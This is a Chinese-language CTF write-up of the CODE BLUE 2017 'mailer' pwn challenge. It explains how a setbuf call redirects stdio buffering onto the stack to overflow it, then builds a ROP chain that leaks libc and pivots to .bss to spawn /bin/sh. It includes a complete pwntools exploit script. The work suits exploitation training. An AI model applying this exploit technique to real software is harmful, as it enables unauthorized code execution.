CTF PWN 题之 setbuf 的利用

作者:Hcamael@知道创宇404实验室

朋友让我一起看了一道32位的pwn题,好像是国外code blue 2017 ctf上的一道题,开始我感觉32位pwn的姿势我应该都会了吧,结果,又学到了新姿势......

题目链接:

https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn

在拿到这题的时候,看了下是32位的,canary都没开,本以为是很简单的题

在sub_8048ada函数中发现了一个任意函数调用的漏洞,对于filter输入的数值只检测v3<=2,而v3是int型,所以可以任意调用小于0x804b048的函数,但是参数却不能控制,第一个参数是fopen("/dev/null")调用返回的文件流,第二个参数是buf,第三个参数为长度

初次之外就找不到别的漏洞了,在参数无法控制的情况下,只能利用该bin中的本身函数,没有任何getshell的思路

然后在大佬的教导下,我第一次注意到了setbuf函数,大部分pwn题都会有这个函数,用来设置IO缓冲区的,第一个参数是文件流,第二个参数表示缓冲区,一般在pwn题中的用法是setbuf(stdin, 0)表示标准输入取消缓冲区。

仔细观察还会发现,stdin并不是0,而是在stdio库中设置的一个文件流,所以也是作用在stdio库中的函数,比如gets, puts, fread, fwrite

比如,gets函数使用的就是stdin描述符,如果设置了setbuf(stdin, buf) ,gets函数则会先从buf中获取输入,自己也可以写个简单的代码测试一下

#include<stdio.h> int main(void) { char buf[10]; memset(buf, 0, 10); buf[0] = '1'; printf(buf); setbuf(stdout, buf); printf("test"); write(1, "\n====\n",6); write(1, buf, 10); }

然后运行一下

$ ./a.out 1 ==== test

可以从结果看出,printf根本没有输出test,而是把这个字符串输出到buf缓冲区中了,从而修改了buf中的内容。

因为设置的是stdout的缓冲区,而stdout是stdio库中的文件流,所以write并没有受到影响

还有一个问题,setbuf并没有设置长度的参数,设置长度的需要使用setvbuf,所以默认情况下setbuf设置的缓冲区长度为默认的4096,这样在该题中就形成了一个攻击链

控制程序跳转到setbuf函数,简单的讲就是调用setbuf(fd=fopen("/dev/null"), buf1) ,然后在sub_8048742(no_filter)函数中调用了fwrite(fd, 0, buf2, len) ,这样就能往buf1中写buf2的数据,而buf是存在栈中的,所以可以造成栈溢出,能栈溢出了,下面就是找ROP链了

栈溢出构造逻辑:

add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 栈溢出,利用ROP链

下面就是研究怎么构造ROP,我的思路是:

利用printf泄露libc地址 -> 算出system,字符串/bin/sh地址 -> 构造出第二个system("/bin/sh")的ROP链 -> 通过fread写入.bss段 -> 利用ROP把栈修改成.bss段 -> 执行第二个ROP system("/bin/sh")

同样也能利用one_gadget,payload下面会放,这里再讨论一个问题

我把栈地址修改成0x804b100,执行system("/bin/sh")是失败的,然后再和大佬的讨论中发现了几种可能,system需要获取系统的环境变量envp,通过看system的源代码,发现有一个全局指针变量_environ指向栈上的envp,如果这个值被覆盖成了一个无效的地址,system则无法执行。但是在该题中,我的第一个rop并不长,所以并没有覆盖掉envp,之后修改了栈地址,也不存在覆盖envp的情况。

然后还有第二种情况,system栈地址空间不足,程序的可读可写地址空间是从0x804b000-0x804c000,总长度为0x1000,然后我修改的栈地址为0x804b100,所以system可用的栈空间只有0x100,之后我把栈的地址修改成0x804b700后,就能成功执行system("/bin/sh")了

附上payload:

#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.log_level = "debug" context.terminal = ['terminator','-x','bash','-c'] def add(p, data): p.readuntil("> ") p.sendline("1") p.readuntil("contents: ") p.sendline(data) def post(p, n, offset): p.readuntil("> ") p.sendline("3") p.readuntil("ID (0-4): ") p.sendline(str(n)) p.readuntil("> ") p.sendline(str(offset)) def quit(p): p.readuntil("> ") p.sendline("4") def main(): p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"}) libc = ELF("./libc.so.6") e = ELF("./mailer") # gdb.attach(p) gadget1 = 0x08048dab # pop ebp ; ret gadget2 = 0x080485f8 # leave ; ret gadget3 = 0x08048495 # pop ebx ; ret gadget4 = 0x08048daa # pop edi ; pop ebp ; ret gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret one_gadget_sh = 0x56ff5 read_buf = 0x080486D9 stdin_bss = 0x804B060 bss_buf = 0x804b700 rop1 = "a"*0xd rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf) rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin) rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf) add(p, rop1) add(p, "b"*255) add(p, "c"*255) add(p, "d"*255) add(p, "e"*255) post(p, 4, -15) post(p, 1, 0) post(p, 0, 0) quit(p) p.readuntil(":)\n") printf_got = u32(p.read(4)) # print hex(printf_got) system_libc = libc.symbols["system"] printf_libc = libc.symbols["printf"] binsh_libc = libc.search("/bin/sh").next() system_add = printf_got - printf_libc + system_libc binsh_add = printf_got - printf_libc + binsh_libc one_gadget = printf_got - printf_libc + 0x3a838 #rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget) rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add) p.sendline(rop2) p.interactive() if __name__ == '__main__': main()

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2017-11-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏安恒网络空间安全讲武堂

Web for Pentester 实验合集

0x00 introduction Pentester Lab 是渗透测试学习实战平台,在里面提供各种漏洞实验的虚拟机镜像文件,让网络安全爱好者和黑阔进行实战式...

26850
来自专栏程序你好

C# API中的模型和它们的接口设计

10120
来自专栏北京马哥教育

有关bash,我希望我能知晓的十件事

18550
来自专栏Crossin的编程教室

【Python 第36课】 异常处理

在程序运行时,如果我们的代码引发了错误,python就会中断程序,并且输出错误提示。 比如我们写了一句: print int('0.5') 运行后程序得到错误...

28370
来自专栏谭广健的专栏

devexpress CLR20r3错误记录

好久没写过winform程序了,用devexpress写了个小工具,连一个本地的数据库,感觉不会出什么异常,连接时就没加捕获,调通之后就没管,因为特殊需求,需要...

25240
来自专栏信安之路

通过实例学习ROP技术

这两天闲着无聊就在 exploit-db 上找个小软件练练手,但是 exploit-db 上面给的 poc 并能正常运行,无奈只好自己写了一个,顺便写篇文章把自...

11500
来自专栏mini188

聊聊从web session的共享到可扩展缓存设计

先从web session的共享说起 许多系统需要提供7*24小时服务,这类系统肯定需要考虑灾备问题,单台服务器如果宕机可能无法立马恢复使用,这必定影响到服务。...

21960
来自专栏码洞

深入理解 RPC 消息协议设计

本节我们开始讲解 RPC 的消息协议设计背后的基本原理,了解 RPC 的协议开发背后有哪些需要考虑的基本点。在通晓原理之后,我们就可以自己设计一套协议来开发属于...

14430
来自专栏owent

Lua性能分析

Lua性能分析本来有一些现成的工具,比如LuaProfile,不幸的是这货不支持luajit,另外LuaStudio虽然挺好用但是是收费的。 比较不爽,刚好L...

24010
来自专栏安恒信息

近期APT攻击事件频发—安恒信息再次成功检测到APT攻击样本

>>>> 前言 乌克兰电力系统受到APT攻击事件,给国内外企业和用户都敲响了警钟,与此同时,安恒信息在国内也监控到了多次APT攻击。近期,安恒信息APT威胁分析...

36850

扫码关注云+社区

领取腾讯云代金券